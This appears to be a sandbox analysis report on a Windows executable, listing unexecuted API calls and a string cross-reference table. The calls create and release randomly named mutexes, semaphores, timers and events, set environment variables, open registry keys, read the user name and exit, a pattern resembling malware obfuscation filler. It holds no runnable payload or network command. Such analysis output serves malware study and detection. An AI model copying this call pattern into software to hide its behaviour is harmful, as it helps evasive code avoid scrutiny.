Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_95k5pe80), ref: 00408CF8
OutputDebugStringA.KERNEL32(log: jh6p6kiv), ref: 00408D0B
CancelWaitableTimer.KERNEL32(?), ref: 00408D1B
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_oayiq2ia), ref: 00408D26
OutputDebugStringA.KERNEL32(log: o2khivkx), ref: 00408D2F
CancelWaitableTimer.KERNEL32(00000000), ref: 00408D32
FindFirstFileA.KERNEL32(s_gq4j0j7r,?), ref: 00408D41
FindClose.KERNEL32(00000000), ref: 00408D48
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_54v71xzc), ref: 00408D59
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00408D63
GetLastError.KERNEL32 ref: 00408D79
SetEnvironmentVariableA.KERNEL32(ld69845a,522iai98), ref: 00408D87
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0a3cowb1), ref: 00408D94
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00408D9F
SetEnvironmentVariableA.KERNEL32(yod8la10,yeq0vrhq), ref: 00408DAF
LocalAlloc.KERNEL32(00000000,00000231), ref: 00408DB9
LocalFree.KERNEL32(00000000), ref: 00408DC0
OutputDebugStringA.KERNEL32(log: 3obkjrq2), ref: 00408DCB
CreateMutexA.KERNEL32(00000000,00000000,MTXar22x0yy), ref: 00408DD4
RegOpenKeyExA.KERNEL32(80000001,reghulaxc1b,00000000,00020019,?), ref: 00408DFE
ReleaseMutex.KERNEL32(?), ref: 00408E04
RegOpenKeyExA.KERNEL32(80000001,regjoqxl736,00000000,00020019,?), ref: 00408E20
OutputDebugStringA.KERNEL32(log: u7uoku1q), ref: 00408E29
SetEnvironmentVariableA.KERNEL32(ahlik3kx,g0snsw3f), ref: 00408E35
CoInitialize.OLE32(00000000), ref: 00408E3D
CreateMutexA.KERNEL32(00000000,00000000,MTX07geyo2x), ref: 00408E4C
ReleaseMutex.KERNEL32(00000000), ref: 00408E57
GetLastError.KERNEL32 ref: 00408E5D
RegOpenKeyExA.ADVAPI32(80000001,regogz55ypc,00000000,00020019,?), ref: 00408E78
RegOpenKeyExA.ADVAPI32(80000001,regv0y3u6p1,00000000,00020019,?), ref: 00408E8C
LocalAlloc.KERNEL32(00000000,000003AD), ref: 00408E95
RegOpenKeyExA.KERNEL32(80000001,regxew64tt5,00000000,00020019,?), ref: 00408EB3
LocalFree.KERNEL32(00000000), ref: 00408EB6
OutputDebugStringA.KERNEL32(log: uul8s7sw), ref: 00408EC1
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000321,00000000), ref: 00408ED1
RegOpenKeyExA.KERNEL32(80000001,regt7424gqc,00000000,00020019,?), ref: 00408EF2
FindCloseChangeNotification.KERNEL32(00000000), ref: 00408EF5
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_qelnb61z), ref: 00408F05
CancelWaitableTimer.KERNEL32(00000000), ref: 00408F10
RegOpenKeyExA.KERNEL32(80000001,regl6t0rwyx,00000000,00020019,?), ref: 00408F2B

Part of subcall function 00401000: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000006B1,00000000,75B4EC10,76227CD0,76229350), ref: 0040101A
Part of subcall function 00401000: FindCloseChangeNotification.KERNEL32(00000000), ref: 00401021
Part of subcall function 00401000: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_hmuz5fn9), ref: 00401030
Part of subcall function 00401000: SetEvent.KERNEL32(00000000), ref: 00401039
Part of subcall function 00401000: ResetEvent.KERNEL32(00000000), ref: 00401040
Part of subcall function 00401000: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML9zp7v7g8), ref: 0040104F
Part of subcall function 00401000: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00401059
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(80000001,regevw6vq7j,00000000,00020019,?), ref: 00401079
Part of subcall function 00401000: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ob22lwnk), ref: 00401083
Part of subcall function 00401000: CancelWaitableTimer.KERNEL32(00000000), ref: 0040108E
Part of subcall function 00401000: GetLastError.KERNEL32 ref: 0040109A
Part of subcall function 00401000: LocalAlloc.KERNEL32(00000000,000008F8), ref: 004010A3
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(80000001,regzp8q1u6x,00000000,00020019,?), ref: 004010C0
Part of subcall function 00401000: LocalFree.KERNEL32(00000000), ref: 004010C3
Part of subcall function 00401000: OutputDebugStringA.KERNEL32(log: e87n70va), ref: 004010D4
Part of subcall function 00401000: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_759xccm9), ref: 004010DF
Part of subcall function 00401000: CancelWaitableTimer.KERNEL32(00000000), ref: 004010EC
Part of subcall function 00401000: CreateMutexA.KERNEL32(00000000,00000000,MTXrxgvqhaw), ref: 004010F7
Part of subcall function 00401000: ReleaseMutex.KERNEL32(00000000), ref: 00401102
Part of subcall function 00401000: GetLastError.KERNEL32 ref: 00401108
Part of subcall function 00401000: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_8ntu40mj), ref: 00401113
Part of subcall function 00401000: SetEnvironmentVariableA.KERNEL32(91npe4ox,ep3wk031), ref: 00401126
Part of subcall function 00401000: CancelWaitableTimer.KERNEL32(?), ref: 00401134
Part of subcall function 00401000: GetLastError.KERNEL32 ref: 00401136

CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLninkf0eg), ref: 00408F36
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00408F40
OutputDebugStringA.KERNEL32(log: qywjgu7q), ref: 00408F4B
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_b0zdr3vy), ref: 00408F56
SetEvent.KERNEL32(00000000), ref: 00408F5F
ResetEvent.KERNEL32(00000000), ref: 00408F66
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_qve9sc61), ref: 00408F77
OutputDebugStringA.KERNEL32(log: wpp1qg1g), ref: 00408F85
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012EE,00000000), ref: 00408F9A
SetEnvironmentVariableA.KERNEL32(3k7hgx69,caj3rli1), ref: 00408FAC
FindCloseChangeNotification.KERNEL32(00000000), ref: 00408FB3
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_k76j1v4z), ref: 00408FC3
CancelWaitableTimer.KERNEL32(00000000), ref: 00408FCA
SetEnvironmentVariableA.KERNEL32(4oxxpsvr,en30dqe2), ref: 00408FDA
CreateMutexA.KERNEL32(00000000,00000000,MTXpcn854lb), ref: 00408FE7
OutputDebugStringA.KERNEL32(log: le78o3o2), ref: 00408FF8
ReleaseMutex.KERNEL32(00000000), ref: 00408FFB
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_p2gy3xgb), ref: 0040900C
RegOpenKeyExA.KERNEL32(80000001,reg0cv0wz1r,00000000,00020019,?), ref: 0040902D
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00409034
OutputDebugStringA.KERNEL32(log: 0yb5nyj5), ref: 00409043
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_z1rhej8n), ref: 00409054
CancelWaitableTimer.KERNEL32(00000000), ref: 0040905B
SetEnvironmentVariableA.KERNEL32(o9mxpdcv,xfylf0sx), ref: 0040906B
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_l18srn31), ref: 00409088
SetEnvironmentVariableA.KERNEL32(33hc1dth,77g1341f), ref: 00409096
CancelWaitableTimer.KERNEL32(00000000), ref: 0040909D
GetLastError.KERNEL32 ref: 004090A3
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_octczqoy), ref: 004090B4
SetEvent.KERNEL32(00000000), ref: 004090BD
ResetEvent.KERNEL32(00000000), ref: 004090C4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_78w4qbd1), ref: 004090D4
CancelWaitableTimer.KERNEL32(00000000), ref: 004090DF

Part of subcall function 0040F9D2: lstrlenA.KERNEL32(fa72f4c1fbe65cee8651140fd47267ba,75B4EC10,7622E010,76229350), ref: 0040F9E4
Part of subcall function 0040F9D2: LocalAlloc.KERNEL32(00000000,00000D3D), ref: 0040F9F5
Part of subcall function 0040F9D2: LocalFree.KERNEL32(00000000), ref: 0040F9FC
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,regiy6zdfg3,00000000,00020019,004091BF), ref: 0040FA1C
Part of subcall function 0040F9D2: FindFirstFileA.KERNEL32(s_3jcfxium,?), ref: 0040FA2A
Part of subcall function 0040F9D2: FindClose.KERNEL32(00000000), ref: 0040FA31
Part of subcall function 0040F9D2: CreateMutexA.KERNEL32(00000000,00000000,MTXua94bg5a), ref: 0040FA3E
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: pq4wrltf), ref: 0040FA55
Part of subcall function 0040F9D2: ReleaseMutex.KERNEL32(00000000), ref: 0040FA58
Part of subcall function 0040F9D2: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_vx41shaz), ref: 0040FA69
Part of subcall function 0040F9D2: SetEvent.KERNEL32(00000000), ref: 0040FA72
Part of subcall function 0040F9D2: ResetEvent.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040F9D2: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000114E,00000000), ref: 0040FA8D
Part of subcall function 0040F9D2: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FA94
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: g519d0t3), ref: 0040FA9F
Part of subcall function 0040F9D2: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_o3u2xvzm), ref: 0040FAAA
Part of subcall function 0040F9D2: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FAB4
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,reggr17ifkk,00000000,00020019,?), ref: 0040FAD2
Part of subcall function 0040F9D2: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_oalnwsgu), ref: 0040FADC
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: rj3lmscv), ref: 0040FAE9
Part of subcall function 0040F9D2: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FAF0

OutputDebugStringA.KERNEL32(log: m7n3cbp5), ref: 004090EC
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_kxv25cwl), ref: 004090F7
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00409101
RegOpenKeyExA.ADVAPI32(80000001,reg5z82xpbh,00000000,00020019,?), ref: 00409120
SetEnvironmentVariableA.KERNEL32(2erf0dj3,a2srfcsn), ref: 0040912F
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000094C,00000000), ref: 00409148
CloseHandle.KERNEL32(00000000), ref: 0040914F
GetLastError.KERNEL32 ref: 0040915B
CreateMutexA.KERNEL32(00000000,00000000,MTXv76qoe2t), ref: 00409166
SetEnvironmentVariableA.KERNEL32(iv8trhcy,xg8px2tt), ref: 0040917E
ReleaseMutex.KERNEL32(?), ref: 00409188
SetEnvironmentVariableA.KERNEL32(815j1wlz,x8kzojap), ref: 00409198
OutputDebugStringA.KERNEL32(log: zge7qpar), ref: 004091A3
ExitProcess.KERNEL32 ref: 004091AF
CreateMutexA.KERNEL32(00000000,00000000,MTX63qs9twl), ref: 004091CC
GetLastError.KERNEL32 ref: 004091DA
ReleaseMutex.KERNEL32(?), ref: 004091E0

Part of subcall function 004101A4: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_it0z2h7r), ref: 004101BF
Part of subcall function 004101A4: CancelWaitableTimer.KERNEL32(00000000), ref: 004101D2
Part of subcall function 004101A4: SetEnvironmentVariableA.KERNEL32(8e6tzqxv,mzckn70a), ref: 004101DE
Part of subcall function 004101A4: FindFirstFileA.KERNEL32(s_0grmsux3,?), ref: 004101EC
Part of subcall function 004101A4: FindClose.KERNEL32(00000000), ref: 004101F3
Part of subcall function 004101A4: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLbhl8j2bt), ref: 00410204
Part of subcall function 004101A4: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0041020F
Part of subcall function 004101A4: SetEnvironmentVariableA.KERNEL32(4wg4beox,0qb1hd8r), ref: 0041021F
Part of subcall function 004101A4: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_wan7ldds), ref: 0041022A
Part of subcall function 004101A4: OutputDebugStringA.KERNEL32(log: vmz2gp2k), ref: 00410233
Part of subcall function 004101A4: CancelWaitableTimer.KERNEL32(00000000), ref: 0041023A
Part of subcall function 004101A4: SetEnvironmentVariableA.KERNEL32(0vngai3b,t6kat95o), ref: 00410246
Part of subcall function 004101A4: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_u0mu05ci), ref: 00410253
Part of subcall function 004101A4: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0041025D
Part of subcall function 004101A4: OutputDebugStringA.KERNEL32(log: iz81lawv), ref: 00410272
Part of subcall function 004101A4: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012EB,00000000), ref: 00410288
Part of subcall function 004101A4: FindCloseChangeNotification.KERNEL32(00000000), ref: 0041028F
Part of subcall function 004101A4: GetLastError.KERNEL32(log: 7m70ur6h), ref: 0041029A
Part of subcall function 004101A4: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_2ckuzqtn), ref: 004102B1
Part of subcall function 004101A4: SetEvent.KERNEL32(00000000), ref: 004102BA
Part of subcall function 004101A4: LocalAlloc.KERNEL32(00000040,00000208), ref: 004102C3
Part of subcall function 004101A4: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_6tydjpzn), ref: 004102E3

Part of subcall function 00410440: LocalAlloc.KERNEL32(00000040,00000202,00000000,?,?,00409368), ref: 00410453
Part of subcall function 00410440: GetUserNameW.ADVAPI32(00000000,00000101), ref: 00410460

SetEnvironmentVariableA.KERNEL32(igmuctqh,rnl692la), ref: 004091F2
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000F87,00000000), ref: 00409206
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040920D
GetLastError.KERNEL32 ref: 00409213
FindFirstFileA.KERNEL32(s_l7h0j7hh,?), ref: 00409222
FindClose.KERNEL32(00000000), ref: 00409229
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_yzt89ywi), ref: 0040923A
SetEvent.KERNEL32(00000000), ref: 00409243
ResetEvent.KERNEL32(00000000), ref: 0040924A
LocalAlloc.KERNEL32(00000000,00000F15), ref: 00409257
LocalFree.KERNEL32(00000000), ref: 0040925E
OutputDebugStringA.KERNEL32(log: y14oe60y), ref: 00409269
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_vfug2oaz), ref: 00409276
RegOpenKeyExA.KERNEL32(80000001,regfbi0egzp,00000000,00020019,?), ref: 00409296
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040929C
SetEnvironmentVariableA.KERNEL32(667yip96,l14f3a45), ref: 004092B0
LocalAlloc.KERNEL32(00000040,00001000), ref: 00409343
LocalAlloc.KERNEL32(00000040,00000618), ref: 00409354
StrCpyW.SHLWAPI(00000000), ref: 00409371

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

StrCpyW.SHLWAPI(?,00000000), ref: 004093B5
LocalFree.KERNEL32(00000000), ref: 004093C0
LocalAlloc.KERNEL32(00000040,00000800), ref: 004093CD
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ul30rpxb), ref: 004093E6
SetEnvironmentVariableA.KERNEL32(7i2wujn7,ymi47e2b), ref: 004093FA
CancelWaitableTimer.KERNEL32(00000000), ref: 00409401
SetEnvironmentVariableA.KERNEL32(ln1zhw62,ai43jbch), ref: 00409411
OutputDebugStringA.KERNEL32(log: 0auxe75o), ref: 00409426
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vyc7w63j), ref: 00409431
CancelWaitableTimer.KERNEL32(00000000), ref: 00409434
RegOpenKeyExA.KERNELBASE(80000001,regcrpk6bdg,00000000,00020019,?), ref: 00409457
CreateMutexA.KERNEL32(00000000,00000000,MTX4fwt4x1h), ref: 00409460
RegOpenKeyExA.KERNELBASE(80000001,regoqgjujut,00000000,00020019,?), ref: 00409482
ReleaseMutex.KERNEL32(00000000), ref: 00409485
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_m1ezq15l), ref: 00409496
SetEvent.KERNEL32(00000000), ref: 0040949F
ResetEvent.KERNEL32(00000000), ref: 004094A6
LocalAlloc.KERNEL32(00000000,00000B77), ref: 004094B3
GetLastError.KERNEL32 ref: 004094BB
LocalFree.KERNEL32(00000000), ref: 004094C2
FindFirstFileA.KERNEL32(s_gu2e2cow,?), ref: 004094D5
FindClose.KERNEL32(00000000), ref: 004094DC
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000AB1,00000000), ref: 004094F0
RegOpenKeyExA.KERNELBASE(80000001,reggh94y6zp,00000000,00020019,?), ref: 0040950B
lstrlenW.KERNEL32(00000000), ref: 00409523
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_4szyizz9), ref: 0040956C
CancelWaitableTimer.KERNEL32(00000000), ref: 00409573
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_8c1xuzik), ref: 00409582
SetEvent.KERNEL32(00000000), ref: 0040958B
ResetEvent.KERNEL32(00000000), ref: 00409592
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_o1qnrami), ref: 004095A1
SetEnvironmentVariableA.KERNEL32(34h4q7kp,wys0sqbs), ref: 004095B3
CancelWaitableTimer.KERNEL32(00000000), ref: 004095BE
OutputDebugStringA.KERNEL32(log: spimqipm), ref: 004095C9
LocalAlloc.KERNEL32(00000000,0000099D), ref: 004095D2
GetLastError.KERNEL32 ref: 004095DA
LocalFree.KERNEL32(00000000), ref: 004095E1
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_tqjm2ao2), ref: 004095F2
RegOpenKeyExA.KERNELBASE(80000001,regwl2pxlqx,00000000,00020019,?), ref: 00409610
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040961D
SetEnvironmentVariableA.KERNEL32(jkujg4jh,k9j0ckbt), ref: 0040962D
RegOpenKeyExA.ADVAPI32(80000001,regyqhmgqy9,00000000,00020019,?), ref: 0040964B
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLa14ex98n), ref: 00409658
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00409663
OutputDebugStringA.KERNEL32(log: vp1u3h02), ref: 0040966D
CreateMutexA.KERNEL32(00000006,00000006,MTX2drkm8rd), ref: 0040967B
ReleaseMutex.KERNEL32(00000000), ref: 00409686
SetEnvironmentVariableA.KERNEL32(nin7k49o,0493px3x), ref: 00409698
lstrlenW.KERNEL32(?), ref: 004096A3
LocalFree.KERNEL32(?), ref: 004096B2
LocalFree.KERNEL32(?), ref: 004096BD
StrCpyW.SHLWAPI(?,?), ref: 004096E0
LocalFree.KERNEL32(?), ref: 004096EB
LocalAlloc.KERNEL32(00000000,000008FB), ref: 004096F8
GetLastError.KERNEL32 ref: 00409700
LocalFree.KERNEL32(00000000), ref: 00409707
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_57d2clue), ref: 00409717
CancelWaitableTimer.KERNEL32(00000000), ref: 00409722
GetLastError.KERNEL32 ref: 0040972A
FindFirstFileA.KERNEL32(s_hfevc2b1,?), ref: 0040973D
FindClose.KERNEL32(00000000), ref: 00409744
CreateMutexA.KERNEL32(00000000,00000000,MTXof3ud6l7), ref: 00409751
ReleaseMutex.KERNEL32(00000000), ref: 0040975C
RegOpenKeyExA.ADVAPI32(80000001,reg9dsfo3ol,00000000,00020019,?), ref: 00409779
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_avl6qzid), ref: 00409784
SetEvent.KERNEL32(00000000), ref: 0040978D
ResetEvent.KERNEL32(00000000), ref: 00409794
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000007D6,00000000), ref: 004097A8
CloseHandle.KERNEL32(00000000), ref: 004097AF
GetLastError.KERNEL32 ref: 004097B5
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLp7zq6hpd), ref: 004097CA
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004097D1
OutputDebugStringA.KERNEL32(log: l1oiul75), ref: 004097DC
LocalFree.KERNEL32(?), ref: 004097E2
LocalFree.KERNEL32(?), ref: 004097EC
LocalAlloc.KERNEL32(00000040,00000208), ref: 004097F9
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML1y4bkq5g), ref: 00409822
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040982A
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dwetqb9q), ref: 00409838
CancelWaitableTimer.KERNEL32(00000000), ref: 0040983F
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000006D8,00000000), ref: 00409851
RegOpenKeyExA.KERNELBASE(80000001,regh8g8ymzd,00000000,00020019,?), ref: 0040986F
FindCloseChangeNotification.KERNEL32(00000000), ref: 00409872
RegOpenKeyExA.KERNELBASE(80000001,regca6komzj,00000000,00020019,?), ref: 0040988F
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_0v2cn7l9), ref: 0040989A
SetEvent.KERNEL32(00000000), ref: 004098A3
ResetEvent.KERNEL32(00000000), ref: 004098AA
RegOpenKeyExA.KERNELBASE(80000001,reg3jqw5o5x,00000000,00020019,?), ref: 004098C9
CreateMutexA.KERNEL32(00000008,00000008,MTX8vv1hn4i), ref: 004098D7
ReleaseMutex.KERNEL32(00000000), ref: 004098E2
GetLastError.KERNEL32 ref: 004098EA
FindFirstFileA.KERNEL32(s_edaxwnf3,?), ref: 004098FD
FindClose.KERNEL32(00000000), ref: 00409904
CreateWaitableTimerA.KERNEL32(00000008,00000001,WTMR_uq079nyf), ref: 00409912
GetLastError.KERNEL32 ref: 0040991A
CancelWaitableTimer.KERNEL32(00000000), ref: 00409925
RegOpenKeyExA.ADVAPI32(80000001,regz3ng76lm,00000000,00020019,?), ref: 00409943
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_ou0rae7u), ref: 00409950
StrStrW.SHLWAPI(00000000), ref: 00409971
ExitProcess.KERNEL32 ref: 00409987
LocalAlloc.KERNEL32(00000040,00000100), ref: 00409994
lstrlenW.KERNEL32(00000000), ref: 0040999F
ExitProcess.KERNEL32 ref: 004099C1

Strings

s_gq4j0j7r, xrefs: 00408D3C
ev_karcuzqr, xrefs: 00409D6A
MTX998j6kvi, xrefs: 00409BFB
4oxxpsvr, xrefs: 00408FD5
reg3jqw5o5x, xrefs: 004098BF
XML0a3cowb1, xrefs: 00408D89
WTMR_uq079nyf, xrefs: 0040990A
WTMR_z1rhej8n, xrefs: 0040904B
9jmqre1g, xrefs: 00409BEB
ev_yzt89ywi, xrefs: 0040922F
9vfslg2w, xrefs: 00409BF0
regy3ai60s0, xrefs: 0040A0C8
regcrpk6bdg, xrefs: 0040944D
ln1zhw62, xrefs: 0040940C
, xrefs: 004092E0
regytjca5do, xrefs: 0040A080
reghulaxc1b, xrefs: 00408DF4
XMLm39eti6v, xrefs: 00409CDA
7i2wujn7, xrefs: 004093F5
WTMR_vyc7w63j, xrefs: 00409428
regq48xume2, xrefs: 00409B70
regt7424gqc, xrefs: 00408EE8
reg50pgkijz, xrefs: 00409E92
regitr8hbdb, xrefs: 00409C31
MTXar22x0yy, xrefs: 00408DCD
yod8la10, xrefs: 00408DAA
regxew64tt5, xrefs: 00408EA9
s_gu2e2cow, xrefs: 004094D0
regogz55ypc, xrefs: 00408E6E
522iai98, xrefs: 00408D7D
SMPHR_aehizd06, xrefs: 0040A13D
reg84w426gr, xrefs: 00409B38
regs3rok2aj, xrefs: 0040A021
ahlik3kx, xrefs: 00408E30
WTMR_qelnb61z, xrefs: 00408EFB
MTX8vv1hn4i, xrefs: 004098D0
XMLe3pezf9u, xrefs: 00409EA4
g0snsw3f, xrefs: 00408E2B
WTMR_57d2clue, xrefs: 0040970D
k9j0ckbt, xrefs: 00409623
en30dqe2, xrefs: 00408FD0
x8kzojap, xrefs: 0040918E
XML1y4bkq5g, xrefs: 00409817
XML9uao9as9, xrefs: 0040A08C
regoqgjujut, xrefs: 00409478
bjx85mrq, xrefs: 00409D98
regca6komzj, xrefs: 00409885
log: tbwex0u8, xrefs: 0040A0F9
XMLl4a5buj5, xrefs: 00409D4F
bglof55d, xrefs: 00409EE5
